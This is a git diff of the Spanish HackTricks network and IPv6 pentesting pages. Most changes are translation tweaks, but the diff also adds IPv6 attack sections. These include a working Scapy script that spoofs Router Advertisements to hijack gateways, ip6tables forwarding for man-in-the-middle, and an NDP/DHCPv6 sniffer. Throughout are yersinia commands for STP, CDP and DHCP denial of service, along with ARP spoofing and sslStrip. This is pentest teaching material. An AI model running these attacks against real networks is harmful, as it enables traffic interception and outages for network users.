**SCTP (Stream Control Transmission Protocol)** está diseñado para ser utilizado junto con **TCP (Transmission Control Protocol)** y **UDP (User Datagram Protocol)**. Su principal propósito es facilitar el transporte de datos de telefonía a través de redes IP, reflejando muchas de las características de fiabilidad que se encuentran en **Signaling System 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 a través de redes IP.
@@ -170,19 +170,21 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan
```
### Evasión de IDS e IPS
+
{{#ref}}
ids-evasion.md
{{#endref}}
### **Más opciones de nmap**
+
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### Revelando direcciones IP internas
-**Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un Firewall, es probable que dichos paquetes sean filtrados.
+**Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un Firewall, es probable que tales paquetes sean filtrados.
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@@ -246,19 +248,19 @@ arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - Desbordamiento de CAM
-Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (broadcasting todo el tráfico).
+Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (transmitiendo todo el tráfico).
```bash
macof -i
```
En los switches modernos, esta vulnerabilidad ha sido corregida.
-### Ataques 802.1Q VLAN / DTP
+### 802.1Q VLAN / Ataques DTP
#### Trunking Dinámico
El **Protocolo de Trunking Dinámico (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de trunking, permitiendo que los switches seleccionen automáticamente puertos para el modo trunk (Trunk) o modo no trunk. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente los trunks solo donde sea necesario y asegurando una documentación adecuada.
-Por defecto, los puertos de los switches están configurados para operar en modo Dinámico Automático, lo que significa que están listos para iniciar el trunking si son solicitados por un switch vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN al configurar interfaces virtuales.
+Por defecto, los puertos de los switches están configurados para operar en modo Dinámico Automático, lo que significa que están listos para iniciar el trunking si un switch vecino lo solicita. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN al configurar interfaces virtuales.
La presencia de DTP en muchos switches por defecto puede ser explotada por adversarios para imitar el comportamiento de un switch, obteniendo así acceso al tráfico a través de todas las VLANs. El script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un switch está en modo Predeterminado, Trunk, Dinámico, Automático o Acceso—siendo este último la única configuración inmune a ataques de salto de VLAN. Esta herramienta evalúa el estado de vulnerabilidad del switch.
@@ -389,7 +391,7 @@ En el modo gráfico de Yersinia, elige la opción de eliminar todos los VTP vlan
#### **STP BPDU DoS**
-Enviando una gran cantidad de BPDUs TCP (Notificación de Cambio de Topología) o Conf (las BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente.
+Enviando muchos BPDUs TCP (Notificación de Cambio de Topología) o Conf (los BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@@ -405,7 +407,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **Ataque STP Root**
El atacante simula el comportamiento de un switch para convertirse en el root STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\
-Esto se hace enviando paquetes BPDUs CONF que dicen que el valor de **prioridad** es menor que la prioridad actual del switch root real.
+Esto se hace enviando paquetes BPDUs CONF diciendo que el valor de **prioridad** es menor que la prioridad actual del switch root real.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@@ -421,7 +423,7 @@ CISCO Discovery Protocol (CDP) es esencial para la comunicación entre dispositi
#### Recolección de Datos Pasiva
-CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar analizadores de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada.
+CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada.
#### Induciendo Inundación de la Tabla CDP
@@ -431,9 +433,9 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
-Durante este ataque, la CPU del switch y la tabla de vecinos CDP están muy sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos.
+Durante este ataque, la CPU del switch y la tabla de vecinos CDP están fuertemente sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos.
-#### Ataque de suplantación CDP
+#### Ataque de suplantación de CDP
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
@@ -492,7 +494,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**Dos tipos de DoS** se pueden realizar contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las direcciones IP posibles**.\
Este ataque funcionará solo si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**.
-Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP.
+Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código de origen cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
@@ -549,7 +551,7 @@ glbp-and-hsrp-attacks.md
### RIP
-Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6.
+Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para la autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6.
- **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520.
- **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6.
@@ -558,7 +560,7 @@ Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluy
### EIGRP Attacks
-**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema EIGRP autónomo.
+**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta **se propague** por todo el sistema EIGRP autónomo.
Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones.
@@ -568,11 +570,11 @@ Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIG
eigrp-attacks.md
{{#endref}}
-[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento.
+[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento.
### OSPF
-En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente.
+En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de la ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente.
- **Captura y Descifrado de Hashes MD5:** Se utilizan herramientas como Loki y John the Ripper para este propósito.
- **Configuración de Parámetros de Ruta:** Esto se realiza a través de la pestaña _Injection_.
@@ -581,7 +583,7 @@ En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se empl
### Other Generic Tools & Sources
- [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades
-- Puede encontrar más **información sobre ataques a redes** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet).
+- Puede encontrar **más información sobre ataques a redes** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet).
## **Spoofing**
@@ -697,14 +699,14 @@ Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlin
### sslStrip+ y dns2proxy para eludir HSTS
-La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero detrás de escena **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.
+La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero tras bambalinas **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**.
El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no será** guardado en la **caché** del navegador, por lo que el navegador será engañado para realizar **la autenticación de facebook en HTTP**.\
Tenga en cuenta que para realizar este ataque, la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http.
Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
-**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el ejemplo de** _**wwww.facebook.com**_ **de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
+**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el** _**wwww.facebook.com**_ **ejemplo de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
@@ -734,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
A veces, si el cliente verifica que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\
-Otra prueba interesante es **servir un certificado del nombre de host solicitado pero autofirmado**.
+Otra prueba interesante es servir un **certificado del nombre de host solicitado pero autofirmado**.
Otras cosas a probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O usar la clave pública válida, forzar el uso de un algoritmo como Diffie-Hellman (uno que no necesite descifrar nada con la verdadera clave privada) y cuando el cliente solicite una prueba de la verdadera clave privada (como un hash), enviar una prueba falsa y esperar que el cliente no verifique esto.
@@ -770,11 +772,11 @@ Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tien
### **Descubrimiento ARP**
-Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC debe enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán.
+Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán.
### **mDNS (DNS multicast)**
-Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**; la máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services".
+Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services".
**Herramientas**
@@ -782,7 +784,7 @@ Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\
- Bettercap (net.probe.mdns)
- Responder
-### **NBNS (Servidor de Nombres NetBios)**
+### **NBNS (NetBios Name Server)**
Bettercap transmite paquetes al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
@@ -794,8 +796,10 @@ Bettercap transmite paquetes SSDP buscando todo tipo de servicios (Puerto UDP 19
Bettercap transmite paquetes WSD buscando servicios (Puerto UDP 3702).
+
### Explotación de Telecom / Núcleo Móvil (GTP)
+
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
@@ -807,4 +811,6 @@ telecom-network-exploitation.md
- **Hacking Práctico de IoT: La Guía Definitiva para Atacar el Internet de las Cosas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
+
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
index a12b65c22..350eb2aad 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
@@ -1,8 +1,10 @@
+# Pentesting IPv6
+
{{#include ../../banners/hacktricks-training.md}}
-# Teoría básica de IPv6
+## Teoría básica de IPv6
-## Redes
+### Redes
Las direcciones IPv6 están estructuradas para mejorar la organización de la red y la interacción de dispositivos. Una dirección IPv6 se divide en:
@@ -18,14 +20,14 @@ Mientras que IPv6 omite el protocolo ARP encontrado en IPv4, introduce **ICMPv6*
IPv6 también incorpora tipos de direcciones especiales:
- **Dirección de loopback (`::1`)**: Equivalente a `127.0.0.1` de IPv4, para comunicación interna dentro del host.
-- **Direcciones Link-Local (`FE80::/10`)**: Para actividades de red local, no para el enrutamiento por internet. Los dispositivos en la misma red local pueden descubrirse entre sí utilizando este rango.
+- **Direcciones Link-Local (`FE80::/10`)**: Para actividades de red local, no para enrutamiento por internet. Los dispositivos en la misma red local pueden descubrirse entre sí utilizando este rango.
### Uso práctico de IPv6 en comandos de red
Para interactuar con redes IPv6, puedes usar varios comandos:
- **Ping a direcciones Link-Local**: Verifica la presencia de dispositivos locales usando `ping6`.
-- **Descubrimiento de vecinos**: Usa `ip neigh` para ver los dispositivos descubiertos en la capa de enlace.
+- **Descubrimiento de vecinos**: Usa `ip neigh` para ver dispositivos descubiertos en la capa de enlace.
- **alive6**: Una herramienta alternativa para descubrir dispositivos en la misma red.
A continuación se presentan algunos ejemplos de comandos:
@@ -38,7 +40,7 @@ alive6 eth0
```
Las direcciones IPv6 se pueden derivar de la dirección MAC de un dispositivo para la comunicación local. Aquí hay una guía simplificada sobre cómo derivar la dirección IPv6 Link-local a partir de una dirección MAC conocida, y una breve descripción de los tipos de direcciones IPv6 y métodos para descubrir direcciones IPv6 dentro de una red.
-## **Derivando Link-local IPv6 de la dirección MAC**
+### **Derivando Link-local IPv6 de la dirección MAC**
Dada una dirección MAC **`12:34:56:78:9a:bc`**, puedes construir la dirección IPv6 Link-local de la siguiente manera:
@@ -46,28 +48,28 @@ Dada una dirección MAC **`12:34:56:78:9a:bc`**, puedes construir la dirección
2. Precede con `fe80::` e inserta `fffe` en el medio: **`fe80::1234:56ff:fe78:9abc`**
3. Invierte el séptimo bit desde la izquierda, cambiando `1234` a `1034`: **`fe80::1034:56ff:fe78:9abc`**
-## **Tipos de direcciones IPv6**
+### **Tipos de Direcciones IPv6**
-- **Dirección Local Única (ULA)**: Para comunicaciones locales, no destinada al enrutamiento en internet público. Prefijo: **`FEC00::/7`**
-- **Dirección Multicast**: Para comunicación de uno a muchos. Entregada a todas las interfaces en el grupo multicast. Prefijo: **`FF00::/8`**
-- **Dirección Anycast**: Para comunicación de uno a más cercano. Enviada a la interfaz más cercana según el protocolo de enrutamiento. Parte del rango global unicast **`2000::/3`**.
+- **Unique Local Address (ULA)**: Para comunicaciones locales, no destinado a enrutamiento en internet público. Prefijo: **`FEC00::/7`**
+- **Multicast Address**: Para comunicación de uno a muchos. Entregado a todas las interfaces en el grupo de multidifusión. Prefijo: **`FF00::/8`**
+- **Anycast Address**: Para comunicación de uno a más cercano. Enviado a la interfaz más cercana según el protocolo de enrutamiento. Parte del rango de unicast global **`2000::/3`**.
-## **Prefijos de dirección**
+### **Prefijos de Direcciones**
- **fe80::/10**: Direcciones Link-Local (similar a 169.254.x.x)
-- **fc00::/7**: Unicast Local Único (similar a rangos IPv4 privados como 10.x.x.x, 172.16.x.x, 192.168.x.x)
-- **2000::/3**: Unicast Global
+- **fc00::/7**: Unique Local-Unicast (similar a rangos privados de IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x)
+- **2000::/3**: Global Unicast
- **ff02::1**: Multicast Todos los Nodos
- **ff02::2**: Multicast Nodos de Router
-## **Descubriendo direcciones IPv6 dentro de una red**
+### **Descubriendo Direcciones IPv6 dentro de una Red**
-### Forma 1: Usando direcciones Link-local
+#### Forma 1: Usando Direcciones Link-local
1. Obtén la dirección MAC de un dispositivo dentro de la red.
2. Deriva la dirección IPv6 Link-local a partir de la dirección MAC.
-### Forma 2: Usando Multicast
+#### Forma 2: Usando Multicast
1. Envía un ping a la dirección multicast `ff02::1` para descubrir direcciones IPv6 en la red local.
```bash
@@ -75,7 +77,7 @@ service ufw stop # Stop the firewall
ping6 -I ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```
-## IPv6 Man-in-the-Middle (MitM) Attacks
+### IPv6 Man-in-the-Middle (MitM) Attacks
Existen varias técnicas para ejecutar ataques MitM en redes IPv6, tales como:
@@ -84,15 +86,15 @@ Existen varias técnicas para ejecutar ataques MitM en redes IPv6, tales como:
- Ataque a IPv6 móvil (generalmente requiere que IPSec esté deshabilitado).
- Configuración de un servidor DHCPv6 malicioso.
-# Identifying IPv6 Addresses in the eild
+## Identifying IPv6 Addresses in the eild
-## Exploring Subdomains
+### Exploring Subdomains
Un método para encontrar subdominios que están potencialmente vinculados a direcciones IPv6 implica aprovechar los motores de búsqueda. Por ejemplo, emplear un patrón de consulta como `ipv6.*` puede ser efectivo. Específicamente, se puede usar el siguiente comando de búsqueda en Google:
```bash
site:ipv6./
```
-## Utilizando Consultas DNS
+### Utilizando Consultas DNS
Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registros DNS:
@@ -100,13 +102,254 @@ Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registro
- **AAAA**: Busca directamente direcciones IPv6.
- **ANY**: Una consulta amplia que devuelve todos los registros DNS disponibles.
-## Sondeo con Ping6
+### Sondeo con Ping6
-Después de identificar las direcciones IPv6 asociadas con una organización, se puede utilizar la utilidad `ping6` para el sondeo. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas y también puede ayudar a descubrir dispositivos IPv6 adyacentes.
+Después de identificar las direcciones IPv6 asociadas con una organización, se puede utilizar la utilidad `ping6` para sondear. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas y también puede ayudar a descubrir dispositivos IPv6 adyacentes.
+
+## Técnicas de Ataque en Redes Locales IPv6
+
+Las siguientes secciones cubren ataques prácticos de capa 2 en IPv6 que se pueden ejecutar **dentro del mismo segmento /64** sin conocer ningún prefijo global. Todos los paquetes mostrados a continuación son **link-local** y viajan solo a través del switch local, lo que los hace extremadamente sigilosos en la mayoría de los entornos.
+
+### Ajuste del Sistema para un Laboratorio Estable
+
+Antes de jugar con el tráfico IPv6, se recomienda endurecer tu equipo para evitar ser envenenado por tus propias pruebas y obtener el mejor rendimiento durante la inyección/escucha masiva de paquetes.
+```bash
+# Enable promiscuous mode to capture all frames
+sudo ip link set dev eth0 promisc on
+
+# Ignore rogue Router Advertisements & Redirects coming from the segment
+sudo sysctl -w net.ipv6.conf.all.accept_ra=0
+sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
+
+# Increase fd / backlog limits when generating lots of traffic
+sudo sysctl -w fs.file-max=100000
+sudo sysctl -w net.core.somaxconn=65535
+sudo sysctl -w net.ipv4.tcp_tw_reuse=1
+```
+### Sniffing pasivo de NDP y DHCPv6
+
+Debido a que cada host IPv6 **se une automáticamente a múltiples grupos multicast** (`ff02::1`, `ff02::2`, …) y utiliza ICMPv6 para SLAAC/NDP, puedes mapear todo el segmento sin enviar un solo paquete. La siguiente línea de código en Python/Scapy escucha los mensajes L2 más interesantes y imprime un registro coloreado y con marca de tiempo de quién es quién:
+```python
+#!/usr/bin/env python3
+from scapy.all import *
+from scapy.layers.dhcp6 import *
+from datetime import datetime
+from colorama import Fore, Style, init
+import argparse
+
+init(autoreset=True)
+
+# Human-readable names for protocols we care about
+DHCP6_TYPES = {
+DHCP6_Solicit: 'Solicit',
+DHCP6_Advertise: 'Advertise',
+DHCP6_Request: 'Request',
+DHCP6_Reply: 'Reply',
+DHCP6_Renew: 'Renew',
+DHCP6_Rebind: 'Rebind',
+DHCP6_RelayForward:'Relay-Forward',
+DHCP6_RelayReply: 'Relay-Reply'
+}
+ICMP6_TYPES = {
+ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
+ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
+ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
+ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
+ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
+ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
+ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
+ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
+ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
+ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
+}
+
+def handler(pkt):
+eth_src = pkt[Ether].src if Ether in pkt else '?'
+eth_dst = pkt[Ether].dst if Ether in pkt else '?'
+ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
+ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
+
+# Identify protocol family first
+for proto,(desc,color) in ICMP6_TYPES.items():
+if proto in pkt:
+break
+else:
+if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
+for dhcp_t,name in DHCP6_TYPES.items():
+if dhcp_t in pkt:
+desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
+else:
+return # not a DHCPv6 message we track
+else:
+return # not interesting
+
+print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
+print(f" MAC {eth_src} -> {eth_dst}")
+print(f" IPv6 {ip6_src} -> {ip6_dst}")
+print('-'*60)
+
+if __name__ == '__main__':
+argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
+argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
+argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
+a = argp.parse_args()
+sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
+```
+Resultado: una **topología de enlace local** completa (MAC ⇄ IPv6) en cuestión de segundos, sin activar sistemas IPS/IDS que dependen de escaneos activos.
+
+### Suplantación de Anuncios de Router (RA)
+
+Los hosts de IPv6 dependen de **ICMPv6 Router Advertisements** para el descubrimiento de la puerta de enlace predeterminada. Si inyectas RAs falsificados **más frecuentemente** que el router legítimo, los dispositivos cambiarán silenciosamente a ti como la puerta de enlace.
+```python
+#!/usr/bin/env python3
+from scapy.all import *
+import argparse
+
+p = argparse.ArgumentParser()
+p.add_argument('-i','--interface',required=True)
+p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
+p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
+p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
+p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
+p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
+args = p.parse_args()
+
+lifetime = 0 if args.revert else args.lifetime
+ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
+ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
+ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
+
+send(ra,iface=args.interface,loop=1,inter=args.interval)
+```
+Para **reenviar tráfico** después de ganar la carrera:
+```bash
+sudo sysctl -w net.ipv6.conf.all.forwarding=1
+sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
+sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+```
+#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
+
+| Flag | Significado | Efecto en el Comportamiento del Cliente |
+|------|-------------|----------------------------------------|
+| **M (Configuración de Dirección Administrada)** | Cuando se establece en `1`, el host DEBE usar **DHCPv6** para obtener su dirección IPv6. | Toda la dirección proviene de DHCPv6 – perfecto para el envenenamiento estilo *mitm6*. |
+| **O (Otra Configuración)** | Cuando se establece en `1`, el host debe usar **DHCPv6** solo para obtener *otra* información (DNS, NTP, …). | La dirección sigue siendo a través de SLAAC, pero DNS puede ser secuestrado con DHCPv6. |
